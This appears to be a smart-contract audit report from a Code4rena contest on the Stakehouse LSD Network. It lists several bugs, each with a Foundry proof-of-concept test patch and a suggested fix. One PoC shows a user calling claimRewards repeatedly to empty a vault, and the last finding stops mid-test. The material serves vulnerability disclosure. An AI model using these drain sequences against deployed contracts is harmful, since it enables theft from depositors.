LSD Network - Stakehouse contest - 9svR6w's results

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/syndicate/Syndicate.sol#L245-L280; https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/syndicate/Syndicate.sol#L369

Vulnerability details

Impact

Syndicate's unstake() does not update sETHUserClaimForKnot with the result that in subsequent calls to unstake() or claimAsStaker(), when sETHUserClaimForKnot is subtracted from userShare in calculateUnclaimedFreeFloatingETHShare() the subtraction underflows. This effectively DOS-es unstake() and claimAsStaker(). In addition because sETHUserClaimForKnot is incorrect some future rewards may be orphaned rather than available to be claimed by the user.

Proof of Concept

The POC demonstrates unstake() from syndicate followed by failure to unstake() again and then orphaned rewards.

Test

forge test -m testUnstakeCausesDOSAndOrphanedRewards

Patch

diff --git a/test/foundry/Syndicate.t.sol b/test/foundry/Syndicate.t.sol
index a24f263..c9d0990 100644
--- a/test/foundry/Syndicate.t.sol
+++ b/test/foundry/Syndicate.t.sol
@@ -573,4 +573,97 @@ contract SyndicateTest is TestUtils {
     }
 
     // todo - use fuzz to continually add eip1559 rewards and then have users randomly draw down
+
+    function testUnstakeCausesDOSAndOrphanedRewards() public {
+        uint256 stakeAmount = 12 ether;
+        uint256[] memory sETHAmounts = new uint256[](1);
+        sETHAmounts[0] = stakeAmount;
+
+        // Assume account one as message sender
+        vm.startPrank(accountOne);
+
+        // issue allowance to stake
+        sETH.approve(address(syndicate), sETHAmounts[0]);
+
+        // stake
+        syndicate.stake(blsPubKeyOneAsArray(), sETHAmounts, accountOne);
+
+        // End impersonation
+        vm.stopPrank();
+
+        uint256 eip1559Reward = 0.04 ether;
+        sendEIP1559RewardsToSyndicate(eip1559Reward);
+
+        syndicate.updateAccruedETHPerShares();
+        assertEq(address(syndicate).balance, 0.04 ether);
+
+        vm.prank(accountOne);
+        syndicate.claimAsStaker(accountOne, blsPubKeyOneAsArray());
+
+        // Contract balance should have reduced
+        // Solidity precision loss of 1 wei
+        assertEq(address(syndicate).balance, 0.02 ether + 1);
+
+        // Unclaimed ETH amount should now be zero
+        assertEq(
+            syndicate.previewUnclaimedETHAsFreeFloatingStaker(accountOne, blsPubKeyOne),
+            0
+        );
+
+        // user ETH balance should now be 0.02 ether minus 1 due to precision loss
+        assertEq(accountOne.balance, 0.02 ether - 1);
+
+        // Check sETHUserClaimForKnot, the amount claimed by the user is correct.
+        assertEq(syndicate.sETHUserClaimForKnot(blsPubKeyOne, accountOne), 0.02 ether - 1);
+
+        // Unstake a small portion of the sETH
+        uint256[] memory sETHOne = new uint256[](1);
+        sETHOne[0] = 1 ether;
+        vm.prank(accountOne);
+        syndicate.unstake(accountOne, accountOne, blsPubKeyOneAsArray(), sETHOne);
+
+        // The sETHUserClaimForKnot has not changed, despite the user's smaller balance.
+        assertEq(syndicate.sETHUserClaimForKnot(blsPubKeyOne, accountOne), 0.02 ether - 1);
+
+        // Attempting to unstake again fails due to arithmetic underflow because
+        // sETHUserClaimForKnot is too high.
+        vm.prank(accountOne);
+        vm.expectRevert();
+        syndicate.unstake(accountOne, accountOne, blsPubKeyOneAsArray(), sETHOne);
+
+        // Restake the syndicate with the missing 1 ether, from accountTwo.
+        vm.prank(accountOne);
+        sETH.transfer(accountTwo, 1 ether);
+        vm.startPrank(accountTwo);
+        sETH.approve(address(syndicate), 1 ether);
+        syndicate.stake(blsPubKeyOneAsArray(), sETHOne, accountTwo);
+        vm.stopPrank();
+
+        // Deposit some additional rewards.
+        (bool success, ) = address(syndicate).call{value: eip1559Reward}("");
+        assertEq(success, true);
+
+        syndicate.updateAccruedETHPerShares();
+        assertEq(address(syndicate).balance, 0.02 ether + 1 + 0.04 ether);
+
+        // Check the previewed unclaimed rewards. We can see that the totals do not
+        // add up to the correct reward amount.
+        assertEq(
+            syndicate.previewUnclaimedETHAsFreeFloatingStaker(accountOne, blsPubKeyOne),
+            16666666666666667
+        );
+
+        assertEq(
+            syndicate.previewUnclaimedETHAsFreeFloatingStaker(accountTwo, blsPubKeyOne),
+            1666666666666667
+        );
+
+        // Demonstrate the amount of orphaned awards. The amount of rewards orphaned
+        // will vary based on the fraction of the user's eth that is unstaked.
+        uint256 correctRewards = 0.02 ether - 1;
+        uint256 actualRewards = 16666666666666667 + 1666666666666667;
+        uint256 orphanedRewards = 1666666666666665;
+        assertEq(actualRewards + orphanedRewards, correctRewards);
+    }
+
 }

Tools Used

Recommended Mitigation Steps

Set sETHUserClaimForKnot properly in unstake(). Alternatively, track sETHUserClaimForKnot on a per share rather than an absolute basis.

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L161-L166; https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L57

Vulnerability details

Impact

In GiantMevAndFeesPool's withdrawETH() and withdrawLPTokens() there is a (sensible) attempt to burn giant pool tokens. The burn implementation from OpenZeppelin's ERC20 extension calls back through a chain that eventually leads to GiantMevAndFeesPool beforeTokenTransfer() with a 0 address in the _to variable. The _to variable is set to 0 because the token is being burned. beforeTokenTransfer() then calls _distributeETHRewardsToUserForToken() with this 0 address as _recipient, causing a revert inside that function.

Proof of Concept

This POC demonstrates reverts attempting to call withdrawETH() and withdrawLPTokens() with revert message corresponding to the scenario described above. Stack tracing with forge test -vvv confirmed the cause of the reverts.

Test

forge test -m testWithdrawETHAndLPTokens

Patch

diff --git a/test/foundry/GiantPools.t.sol b/test/foundry/GiantPools.t.sol
index 7e8bfdb..5849503 100644
--- a/test/foundry/GiantPools.t.sol
+++ b/test/foundry/GiantPools.t.sol
@@ -5,6 +5,7 @@ pragma solidity ^0.8.13;
 import "forge-std/console.sol";
 import { TestUtils } from "../utils/TestUtils.sol";
 
+import { MockLiquidStakingManager } from "../../contracts/testing/liquid-staking/MockLiquidStakingManager.sol";
 import { GiantSavETHVaultPool } from "../../contracts/liquid-staking/GiantSavETHVaultPool.sol";
 import { GiantMevAndFeesPool } from "../../contracts/liquid-staking/GiantMevAndFeesPool.sol";
 import { LPToken } from "../../contracts/liquid-staking/LPToken.sol";
@@ -116,4 +117,86 @@ contract GiantPoolTests is TestUtils {
         assertEq(dETHToken.balanceOf(savETHUser), 24 ether);
     }
 
+    function addNewLSM(address payable giantFeesAndMevPool, bytes memory blsPubKey) public returns (address payable) {
+        manager = deployNewLiquidStakingNetwork(
+            factory,
+            admin,
+            true,
+            "LSDN"
+        );
+
+        savETHVault = MockSavETHVault(address(manager.savETHVault()));
+
+        giantSavETHPool = new MockGiantSavETHVaultPool(factory, savETHVault.dETHToken());
+
+        // Set up users and ETH
+        address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether);
+        address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);
+
+        // Register BLS key
+        registerSingleBLSPubKey(nodeRunner, blsPubKey, accountFour);
+
+        // Deposit ETH into giant savETH
+        vm.prank(savETHUser);
+        giantSavETHPool.depositETH{value: 24 ether}(24 ether);
+        assertEq(giantSavETHPool.lpTokenETH().balanceOf(savETHUser), 24 ether);
+        assertEq(address(giantSavETHPool).balance, 24 ether);
+
+        // Deploy ETH from giant LP into savETH pool of LSDN instance
+        bytes[][] memory blsKeysForVaults = new bytes[][](1);
+        blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKey);
+
+        uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
+        stakeAmountsForVaults[0] = getUint256ArrayFromValues(24 ether);
+
+        giantSavETHPool.batchDepositETHForStaking(
+            getAddressArrayFromValues(address(manager.savETHVault())),
+            getUint256ArrayFromValues(24 ether),
+            blsKeysForVaults,
+            stakeAmountsForVaults
+        );
+        assertEq(address(manager.savETHVault()).balance, 24 ether);
+
+        assert(giantFeesAndMevPool.balance >= 4 ether);
+        stakeAmountsForVaults[0] = getUint256ArrayFromValues(4 ether);
+        GiantMevAndFeesPool(giantFeesAndMevPool).batchDepositETHForStaking(
+            getAddressArrayFromValues(address(manager.stakingFundsVault())),
+            getUint256ArrayFromValues(4 ether),
+            blsKeysForVaults,
+            stakeAmountsForVaults
+        );
+
+        // Ensure we can stake and mint derivatives
+        stakeAndMintDerivativesSingleKey(blsPubKey);
+
+        return payable(manager);
+    }
+
+    function testWithdrawETHAndLPTokens() public {
+
+        address feesAndMevUserOne = accountTwo; vm.deal(feesAndMevUserOne, 8 ether);
+
+        // Deposit ETH into giant fees and mev
+        vm.startPrank(feesAndMevUserOne);
+        giantFeesAndMevPool.depositETH{value: 8 ether}(8 ether);
+        vm.stopPrank();
+
+        MockLiquidStakingManager manager1 = MockLiquidStakingManager(addNewLSM(payable(giantFeesAndMevPool), blsPubKeyOne));
+
+        vm.warp(block.timestamp + 2 days);
+
+        vm.startPrank(feesAndMevUserOne);
+
+        // Try and fail to call withdrawETH().
+        vm.expectRevert("Zero address");
+        giantFeesAndMevPool.withdrawETH(4 ether);
+
+        LPToken[] memory stakingLPToken = new LPToken[](1);
+        stakingLPToken[0] = manager1.stakingFundsVault().lpTokenForKnot(blsPubKeyOne);
+        // Try and fail to call withdrawLPTokens().
+        vm.expectRevert("Zero address");
+        giantFeesAndMevPool.withdrawLPTokens(stakingLPToken, getUint256ArrayFromValues(4 ether));
+
+    }
+
 }
\ No newline at end of file

Tools Used

Recommended Mitigation Steps

Guard beforeTokenTransfer() call to _distributeETHRewardsToUserForToken() with a check that _to is nonzero.

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L63

Vulnerability details

Impact

The root issue is that SyndicateRewardsProcessor's _distributeETHRewardsToUserForToken() sets the claimed[] eth value incorrectly when paying out ETH. The claimed[] value is set to the immediate amount paid out during this function call, not to the total amount that the user has claimed over time. As a result, further calls to _distributeETHRewardsToUserForToken() believe the user has not claimed all rewards and will continue making payouts while setting claimed[] incorrectly.

The _distributeETHRewardsToUserForToken() function is used in numerous places, and in some cases claimed[] is also set independently of _distributeETHRewardsToUserForToken() along some code paths. However, it is still possible for a user to take rewarded ETH they are not entitled to from both StakingFundsVault and GiantMevAndFeesPool in multiple ways. There are two POCs below demonstrating this for StakingFundsVault and for GiantMevAndFeesPool using claimRewards().

A further issue is that because claimed[] is set correctly a well behaved user could face DOS when attempting to claim rewards or perform other actions (for example if the incorrect accounting using claimed[] attempts to send more ETH than the Vault has.)

Proof of Concept

The following patches includes POCs where one user of a StakingFundsVault or GiantMevAndFeesPool claims the rewards for all users using repeated calls to claimRewards().

forge test -vv -m testReceiveETHAndOneAccountClaimsAllRewards

StakingFundsVault poc patch:

diff --git a/test/foundry/StakingFundsVault.t.sol b/test/foundry/StakingFundsVault.t.sol
index 53b4ce0..84f64e9 100644
--- a/test/foundry/StakingFundsVault.t.sol
+++ b/test/foundry/StakingFundsVault.t.sol
@@ -417,4 +417,82 @@ contract StakingFundsVaultTest is TestUtils {
         assertEq(vault.totalClaimed(), rewardsAmount);
         assertEq(vault.totalRewardsReceived(), rewardsAmount);
     }
+
+    function testReceiveETHAndOneAccountClaimsAllRewards() public {
+        // register BLS key with the network
+        registerSingleBLSPubKey(accountTwo, blsPubKeyFour, accountFive);
+
+        // Do a deposit of 4 ETH for bls pub key four in the fees and mev pool
+        depositETH(accountTwo, maxStakingAmountPerValidator / 2, getUint256ArrayFromValues(maxStakingAmountPerValidator / 2), getBytesArrayFromBytes(blsPubKeyFour));
+        depositETH(accountOne, maxStakingAmountPerValidator / 2, getUint256ArrayFromValues(maxStakingAmountPerValidator / 2), getBytesArrayFromBytes(blsPubKeyFour));
+
+        // Do a deposit of 24 ETH for savETH pool
+        liquidStakingManager.savETHVault().depositETHForStaking{value: 24 ether}(blsPubKeyFour, 24 ether);
+
+        stakeAndMintDerivativesSingleKey(blsPubKeyFour);
+
+        LPToken lpTokenBLSPubKeyFour = vault.lpTokenForKnot(blsPubKeyFour);
+
+        uint256 totalRewardAmount = 4 ether;
+
+        // Deal half of the total rewards to the staking funds vault after the first 3 hours.
+        vm.warp(block.timestamp + 3 hours);
+        vm.deal(address(vault), totalRewardAmount / 2);
+        assertEq(address(vault).balance, totalRewardAmount / 2);
+        assertEq(vault.previewAccumulatedETH(accountTwo, vault.lpTokenForKnot(blsPubKeyFour)), totalRewardAmount / 4);
+        assertEq(vault.previewAccumulatedETH(accountOne, vault.lpTokenForKnot(blsPubKeyFour)), totalRewardAmount / 4);
+
+        // Now accountTwo claims all of its rewards. Everything is working as expected so far.
+        vm.prank(accountTwo);
+        vault.claimRewards(accountTwo, getBytesArrayFromBytes(blsPubKeyFour));
+        assertEq(accountTwo.balance, totalRewardAmount / 4);
+        assertEq(vault.claimed(accountTwo, address(lpTokenBLSPubKeyFour)), totalRewardAmount / 4);
+        assertEq(address(vault).balance, totalRewardAmount / 4);
+
+        // Deal remainder of the total rewards to the staking funds vault after the next 3 hours.
+        vm.warp(block.timestamp + 3 hours);
+        vm.deal(address(vault), totalRewardAmount / 4 + totalRewardAmount / 2);
+        assertEq(address(vault).balance, totalRewardAmount * 3 / 4);
+        assertEq(vault.previewAccumulatedETH(accountTwo, vault.lpTokenForKnot(blsPubKeyFour)), totalRewardAmount / 4);
+        assertEq(vault.previewAccumulatedETH(accountOne, vault.lpTokenForKnot(blsPubKeyFour)), totalRewardAmount / 2);
+
+        // accountTwo now claims its rewards again. The correct reward amount is sent, but
+        // the vault's claimed[] value is set incorrectly.
+        vm.prank(accountTwo);
+        vault.claimRewards(accountTwo, getBytesArrayFromBytes(blsPubKeyFour));
+        assertEq(accountTwo.balance, totalRewardAmount * 2 / 4);
+        // SyndicateRewardsProcessor's _distributeETHRewardsToUserForToken() has set claimed to
+        // the amount just paid out, rather than the total amount paid out. This allows
+        // accountTwo to continue calling claimedRewards() to receive funds to which it is not
+        // entitled.
+        assertEq(vault.claimed(accountTwo, address(lpTokenBLSPubKeyFour)), totalRewardAmount / 4);
+
+        // accountTwo calls claimRewards() again and receives totalRewardAmount / 4, which it is
+        // not entitled to.
+        vm.prank(accountTwo);
+        vault.claimRewards(accountTwo, getBytesArrayFromBytes(blsPubKeyFour));
+        assertEq(accountTwo.balance, totalRewardAmount * 3 / 4);
+        // The claimed amount is once again set incorrectly, allowing further withdrawals.
+        assertEq(vault.claimed(accountTwo, address(lpTokenBLSPubKeyFour)), totalRewardAmount / 4);
+
+        // accountTwo calls claimRewards() again and receives totalRewardAmount / 4, which it is
+        // not entitled to.
+        vm.prank(accountTwo);
+        vault.claimRewards(accountTwo, getBytesArrayFromBytes(blsPubKeyFour));
+        assertEq(accountTwo.balance, totalRewardAmount * 4 / 4);
+        // The claimed amount is once again set incorrectly, allowing further withdrawals.
+        // wrong
+        assertEq(vault.claimed(accountTwo, address(lpTokenBLSPubKeyFour)), totalRewardAmount / 4);
+
+        // accountTwo could continue calling claimRewards() indefinitely, but it has taken
+        // the vault's entire balance.
+
+        // At this point accountTwo has been able to take the vault's entire balance.
+        // There are no funds available to pay out to accountOne, and the vault still thinks
+        // it owes more rewards to accountTwo.
+        assertEq(address(vault).balance, 0);
+        assertEq(vault.previewAccumulatedETH(accountTwo, vault.lpTokenForKnot(blsPubKeyFour)), totalRewardAmount / 4);
+        assertEq(vault.previewAccumulatedETH(accountOne, vault.lpTokenForKnot(blsPubKeyFour)), totalRewardAmount / 2);
+   }
+
 }
\ No newline at end of file

GiantMevAndFeesPool poc patch:

diff --git a/test/foundry/GiantPools.t.sol b/test/foundry/GiantPools.t.sol
index 7e8bfdb..66acf25 100644
--- a/test/foundry/GiantPools.t.sol
+++ b/test/foundry/GiantPools.t.sol
@@ -5,6 +5,7 @@ pragma solidity ^0.8.13;
 import "forge-std/console.sol";
 import { TestUtils } from "../utils/TestUtils.sol";
 
+import { MockLiquidStakingManager } from "../../contracts/testing/liquid-staking/MockLiquidStakingManager.sol";
 import { GiantSavETHVaultPool } from "../../contracts/liquid-staking/GiantSavETHVaultPool.sol";
 import { GiantMevAndFeesPool } from "../../contracts/liquid-staking/GiantMevAndFeesPool.sol";
 import { LPToken } from "../../contracts/liquid-staking/LPToken.sol";
@@ -116,4 +117,140 @@ contract GiantPoolTests is TestUtils {
         assertEq(dETHToken.balanceOf(savETHUser), 24 ether);
     }
 
+    function addNewLSM(address payable giantFeesAndMevPool, bytes memory blsPubKey) public returns (address payable) {
+        manager = deployNewLiquidStakingNetwork(
+            factory,
+            admin,
+            true,
+            "LSDN"
+        );
+
+        savETHVault = MockSavETHVault(address(manager.savETHVault()));
+
+        giantSavETHPool = new MockGiantSavETHVaultPool(factory, savETHVault.dETHToken());
+
+        // Set up users and ETH
+        address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether);
+        address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);
+
+        // Register BLS key
+        registerSingleBLSPubKey(nodeRunner, blsPubKey, accountFour);
+
+        // Deposit ETH into giant savETH
+        vm.prank(savETHUser);
+        giantSavETHPool.depositETH{value: 24 ether}(24 ether);
+        assertEq(giantSavETHPool.lpTokenETH().balanceOf(savETHUser), 24 ether);
+        assertEq(address(giantSavETHPool).balance, 24 ether);
+
+        // Deploy ETH from giant LP into savETH pool of LSDN instance
+        bytes[][] memory blsKeysForVaults = new bytes[][](1);
+        blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKey);
+
+        uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
+        stakeAmountsForVaults[0] = getUint256ArrayFromValues(24 ether);
+
+        giantSavETHPool.batchDepositETHForStaking(
+            getAddressArrayFromValues(address(manager.savETHVault())),
+            getUint256ArrayFromValues(24 ether),
+            blsKeysForVaults,
+            stakeAmountsForVaults
+        );
+        assertEq(address(manager.savETHVault()).balance, 24 ether);
+
+        assert(giantFeesAndMevPool.balance >= 4 ether);
+        stakeAmountsForVaults[0] = getUint256ArrayFromValues(4 ether);
+        GiantMevAndFeesPool(giantFeesAndMevPool).batchDepositETHForStaking(
+            getAddressArrayFromValues(address(manager.stakingFundsVault())),
+            getUint256ArrayFromValues(4 ether),
+            blsKeysForVaults,
+            stakeAmountsForVaults
+        );
+
+        // Ensure we can stake and mint derivatives
+        stakeAndMintDerivativesSingleKey(blsPubKey);
+
+        return payable(manager);
+    }
+
+    function testReceiveETHAndOneAccountClaimsAllRewards() public {
+
+        address feesAndMevUserOne = accountTwo; vm.deal(feesAndMevUserOne, 4 ether);
+        address feesAndMevUserTwo = accountFour; vm.deal(feesAndMevUserTwo, 4 ether);
+
+       // Deposit ETH into giant fees and mev
+        vm.startPrank(feesAndMevUserOne);
+        giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
+        vm.stopPrank();
+        vm.startPrank(feesAndMevUserTwo);
+        giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
+        vm.stopPrank();
+
+        MockLiquidStakingManager manager1 = MockLiquidStakingManager(addNewLSM(payable(giantFeesAndMevPool), blsPubKeyOne));
+        MockLiquidStakingManager manager2 = MockLiquidStakingManager(addNewLSM(payable(giantFeesAndMevPool), blsPubKeyTwo));
+
+        bytes[][] memory blsPubKeyOneInput = new bytes[][](1);
+        blsPubKeyOneInput[0] = getBytesArrayFromBytes(blsPubKeyOne);
+
+        bytes[][] memory blsPubKeyTwoInput = new bytes[][](1);
+        blsPubKeyTwoInput[0] = getBytesArrayFromBytes(blsPubKeyTwo);
+
+        vm.warp(block.timestamp + 3 hours);
+
+        // Add 2 eth rewards to manager1's staking funds vault.
+        vm.deal(address(manager1.stakingFundsVault()), 2 ether);
+
+        // mev user one claims their rewards. Everything is working ok so far.
+        vm.startPrank(feesAndMevUserOne);
+        giantFeesAndMevPool.claimRewards(
+            feesAndMevUserOne,
+            getAddressArrayFromValues(address(manager1.stakingFundsVault())),
+            blsPubKeyOneInput);
+        vm.stopPrank();
+        assertEq(feesAndMevUserOne.balance, 1 ether);
+
+        // Add 2 eth rewards to manager2's staking funds vault, which also uses our giant fees/mev pool.
+        vm.deal(address(manager2.stakingFundsVault()), 2 ether);
+
+        // mev user one now claims rewards from manager2's staking funds vault and receives the
+        // correct amount.
+        vm.startPrank(feesAndMevUserOne);
+        giantFeesAndMevPool.claimRewards(
+            feesAndMevUserOne,
+            getAddressArrayFromValues(address(manager2.stakingFundsVault())),
+            blsPubKeyTwoInput);
+        vm.stopPrank();
+        assertEq(feesAndMevUserOne.balance, 2 ether);
+
+        // From this point, the pool has an incorrect claimed[] value stored for user one
+        // and allows the user to continue withdrawing assets indefinitely.
+        vm.startPrank(feesAndMevUserOne);
+        giantFeesAndMevPool.claimRewards(
+            feesAndMevUserOne,
+            getAddressArrayFromValues(address(manager2.stakingFundsVault())),
+            blsPubKeyTwoInput);
+        vm.stopPrank();
+        assertEq(feesAndMevUserOne.balance, 3 ether);
+
+        // The final assets are withdrawn from giantFeesAndMevPool.
+        vm.startPrank(feesAndMevUserOne);
+        giantFeesAndMevPool.claimRewards(
+            feesAndMevUserOne,
+            getAddressArrayFromValues(address(manager2.stakingFundsVault())),
+            blsPubKeyTwoInput);
+        vm.stopPrank();
+        assertEq(feesAndMevUserOne.balance, 4 ether);
+        assertEq(address(giantFeesAndMevPool).balance, 0);
+
+        // user two is reported as having 2 eth accumulated but there is no balance in
+        // the giant pool to pay out.
+        assertEq(
+            giantFeesAndMevPool.previewAccumulatedETH(
+                feesAndMevUserTwo,
+                new address[](0),
+                new LPToken[][](0)),
+                2 ether);
+        assertEq(address(giantFeesAndMevPool).balance, 0);
+
+    }
+
 }
\ No newline at end of file

Tools Used

Recommended Mitigation Steps

SyndicateRewardsProcessor's _distributeETHRewardsToUserForToken() should increment claimed[] by the amount to be paid out instead of resetting claimed[] to the current payout amount only.

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L170-L173

Vulnerability details

Impact

When a user transfers away GiantMevAndFeesPool tokens, the pool's claimed[] computed is left unchanged and still corresponds to what they had claimed with their old (higher) number of tokens. (See GiantMevAndFeesPool afterTokenTransfer() - no adjustment is made to claimed[] on the from side.) As a result, their claimed[] may be higher than the max amount they could possibly have claimed for their new (smaller) number of tokens. The erroneous claimed value can cause an integer overflow when the claimed[] value is subtracted, leading to inability for this user to access some functions of the GiantMevAndFeesPool - including such things as being able to transfer their tokens (overflow is triggered in a callback attempting to pay out their rewards). These overflows will occur in SyndicateRewardsProcessor's _previewAccumulatedETH() and _distributeETHRewardsToUserForToken(), the latter of which is called in a number of places. When rewards are later accumulated in the pool, the user will not be able to claim certain rewards owed to them because of the incorrect (high) claimed[] value. The excess rewards will be orphaned in the pool.

Proof of Concept

This patch demonstrates both DOS and orphaned rewards due to the claimed[] error described above. Note that the patch includes a temp fix for the separate issue calculating claimed[] in _distributeETHRewardsToUserForToken() in order to demonstrate this is a separate issue.

Run test

forge test -m testTransferDOSUserOrphansFutureRewards

Patch

diff --git a/contracts/liquid-staking/SyndicateRewardsProcessor.sol b/contracts/liquid-staking/SyndicateRewardsProcessor.sol
index 81be706..ca44ae6 100644
--- a/contracts/liquid-staking/SyndicateRewardsProcessor.sol
+++ b/contracts/liquid-staking/SyndicateRewardsProcessor.sol
@@ -60,7 +60,7 @@ abstract contract SyndicateRewardsProcessor {
             // Calculate how much ETH rewards the address is owed / due 
             uint256 due = ((accumulatedETHPerLPShare * balance) / PRECISION) - claimed[_user][_token];
             if (due > 0) {
-                claimed[_user][_token] = due;
+                claimed[_user][_token] += due; // temp fix claimed calculation
 
                 totalClaimed += due;
 
diff --git a/test/foundry/GiantPools.t.sol b/test/foundry/GiantPools.t.sol
index 7e8bfdb..6468373 100644
--- a/test/foundry/GiantPools.t.sol
+++ b/test/foundry/GiantPools.t.sol
@@ -5,14 +5,18 @@ pragma solidity ^0.8.13;
 import "forge-std/console.sol";
 import { TestUtils } from "../utils/TestUtils.sol";
 
+import { MockLiquidStakingManager } from "../../contracts/testing/liquid-staking/MockLiquidStakingManager.sol";
 import { GiantSavETHVaultPool } from "../../contracts/liquid-staking/GiantSavETHVaultPool.sol";
 import { GiantMevAndFeesPool } from "../../contracts/liquid-staking/GiantMevAndFeesPool.sol";
 import { LPToken } from "../../contracts/liquid-staking/LPToken.sol";
+import { GiantLP } from "../../contracts/liquid-staking/GiantLP.sol";
 import { MockSlotRegistry } from "../../contracts/testing/stakehouse/MockSlotRegistry.sol";
 import { MockSavETHVault } from "../../contracts/testing/liquid-staking/MockSavETHVault.sol";
 import { MockGiantSavETHVaultPool } from "../../contracts/testing/liquid-staking/MockGiantSavETHVaultPool.sol";
 import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 
+import "forge-std/console.sol";
+
 contract GiantPoolTests is TestUtils {
 
     MockGiantSavETHVaultPool public giantSavETHPool;
@@ -116,4 +120,171 @@ contract GiantPoolTests is TestUtils {
         assertEq(dETHToken.balanceOf(savETHUser), 24 ether);
     }
 
+    function addNewLSM(address payable giantFeesAndMevPool, bytes memory blsPubKey) public returns (address payable) {
+        manager = deployNewLiquidStakingNetwork(
+            factory,
+            admin,
+            true,
+            "LSDN"
+        );
+
+        savETHVault = MockSavETHVault(address(manager.savETHVault()));
+
+        giantSavETHPool = new MockGiantSavETHVaultPool(factory, savETHVault.dETHToken());
+
+        // Set up users and ETH
+        address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether);
+        address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);
+
+        // Register BLS key
+        registerSingleBLSPubKey(nodeRunner, blsPubKey, accountFour);
+
+        // Deposit ETH into giant savETH
+        vm.prank(savETHUser);
+        giantSavETHPool.depositETH{value: 24 ether}(24 ether);
+        assertEq(giantSavETHPool.lpTokenETH().balanceOf(savETHUser), 24 ether);
+        assertEq(address(giantSavETHPool).balance, 24 ether);
+
+        // Deploy ETH from giant LP into savETH pool of LSDN instance
+        bytes[][] memory blsKeysForVaults = new bytes[][](1);
+        blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKey);
+
+        uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
+        stakeAmountsForVaults[0] = getUint256ArrayFromValues(24 ether);
+
+        giantSavETHPool.batchDepositETHForStaking(
+            getAddressArrayFromValues(address(manager.savETHVault())),
+            getUint256ArrayFromValues(24 ether),
+            blsKeysForVaults,
+            stakeAmountsForVaults
+        );
+        assertEq(address(manager.savETHVault()).balance, 24 ether);
+
+        assert(giantFeesAndMevPool.balance >= 4 ether);
+        stakeAmountsForVaults[0] = getUint256ArrayFromValues(4 ether);
+        GiantMevAndFeesPool(giantFeesAndMevPool).batchDepositETHForStaking(
+            getAddressArrayFromValues(address(manager.stakingFundsVault())),
+            getUint256ArrayFromValues(4 ether),
+            blsKeysForVaults,
+            stakeAmountsForVaults
+        );
+
+        // Ensure we can stake and mint derivatives
+        stakeAndMintDerivativesSingleKey(blsPubKey);
+
+        return payable(manager);
+    }
+
+    function testTransferDOSUserOrphansFutureRewards() public {
+
+        address feesAndMevUserOne = accountTwo; vm.deal(feesAndMevUserOne, 8 ether);
+        address feesAndMevUserTwo = accountFour;
+
+       // Deposit ETH into giant fees and mev
+        vm.startPrank(feesAndMevUserOne);
+        giantFeesAndMevPool.depositETH{value: 8 ether}(8 ether);
+        vm.stopPrank();
+
+        MockLiquidStakingManager manager1 = MockLiquidStakingManager(addNewLSM(payable(giantFeesAndMevPool), blsPubKeyOne));
+        MockLiquidStakingManager manager2 = MockLiquidStakingManager(addNewLSM(payable(giantFeesAndMevPool), blsPubKeyTwo));
+
+        bytes[][] memory blsPubKeyOneInput = new bytes[][](1);
+        blsPubKeyOneInput[0] = getBytesArrayFromBytes(blsPubKeyOne);
+
+        bytes[][] memory blsPubKeyTwoInput = new bytes[][](1);
+        blsPubKeyTwoInput[0] = getBytesArrayFromBytes(blsPubKeyTwo);
+
+        vm.warp(block.timestamp + 3 hours);
+
+        // Add 2 eth rewards to manager1's staking funds vault.
+        vm.deal(address(manager1.stakingFundsVault()), 2 ether);
+
+        // Claim rewards into the giant pool and distribute them to user one.
+        vm.startPrank(feesAndMevUserOne);
+        giantFeesAndMevPool.claimRewards(
+            feesAndMevUserOne,
+            getAddressArrayFromValues(address(manager1.stakingFundsVault())),
+            blsPubKeyOneInput);
+        vm.stopPrank();
+
+        // User one has received all the rewards and has no more previewed rewards.
+        assertEq(feesAndMevUserOne.balance, 2 ether);
+        assertEq(giantFeesAndMevPool.totalRewardsReceived(), 2 ether);
+        assertEq(
+            giantFeesAndMevPool.previewAccumulatedETH(
+                feesAndMevUserOne,
+                new address[](0),
+                new LPToken[][](0)),
+                0);
+
+        // Check the claimed[] value for user 1. It is correct.
+        assertEq(
+            giantFeesAndMevPool.claimed(feesAndMevUserOne, address(giantFeesAndMevPool.lpTokenETH())),
+            2 ether);
+
+        // User one transfers half their giant tokens to user 2.
+        vm.startPrank(feesAndMevUserOne);
+        giantFeesAndMevPool.lpTokenETH().transfer(feesAndMevUserTwo, 4 ether);
+        vm.stopPrank();
+
+        // After the tokens have been transferred to user 2, user 1's claimed[] remains
+        // unchanged - and is higher than the accumulated payout per share for user 1's
+        // current number of shares.
+        assertEq(
+            giantFeesAndMevPool.claimed(feesAndMevUserOne, address(giantFeesAndMevPool.lpTokenETH())),
+            2 ether);
+
+        // With this incorrect value of claimed[] causing a subtraction underflow, user one
+        // cannot preview accumulated eth or perform any action that attempts to claim their
+        // rewards such as transferring their tokens.
+        vm.startPrank(feesAndMevUserOne);
+        vm.expectRevert();
